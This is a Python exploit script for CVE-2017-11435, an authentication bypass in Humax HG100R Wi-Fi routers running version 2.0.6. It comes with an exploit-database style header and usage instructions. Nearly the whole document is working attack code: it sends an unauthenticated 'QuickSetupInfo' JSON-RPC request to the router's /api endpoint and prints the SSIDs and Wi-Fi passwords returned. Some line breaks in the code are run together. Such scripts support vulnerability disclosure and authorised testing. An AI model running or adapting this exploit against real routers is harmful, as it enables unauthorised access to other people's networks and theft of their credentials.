# coding: utf-8# Exploit Title: Humax HG100R-* Authentication Bypass# Date: 14/09/2017# Exploit Author: Kivson# Vendor Homepage: http://humaxdigital.com# Version: VER 2.0.6# Tested on: OSX Linux# CVE : CVE-2017-11435# The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially# crafted requests to the management console. The bug is exploitable remotely when the router is configured to# expose the management console.# The router is not validating the session token while returning answers for some methods in url '/api'.# An attacker can use this vulnerability to retrieve sensitive information such# as private/public IP addresses, SSID names, and passwords.import sys
import requests
defprint_help():print('Exploit syntax error, Example:')print('python exploit.py http://192.168.0.1')defexploit(host):print(f'Connecting to {host}')
path ='/api'
payload ='{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}'
response = requests.post(host + path, data=payload)
response.raise_for_status()if'result'notin response.json()or'WiFi_Info'notin response.json()['result']or'wlan'notin \
response.json()['result']['WiFi_Info']:print('Error, target may be no exploitable')returnfor wlan in response.json()['result']['WiFi_Info']['wlan']:print(f'Wifi data found:')print(f'SSID: {wlan["ssid"]}')print(f'PWD: {wlan["password"]}')defmain():iflen(sys.argv)<2:
print_help()return
host = sys.argv[1]
exploit(host)if __name__ =='__main__':
main()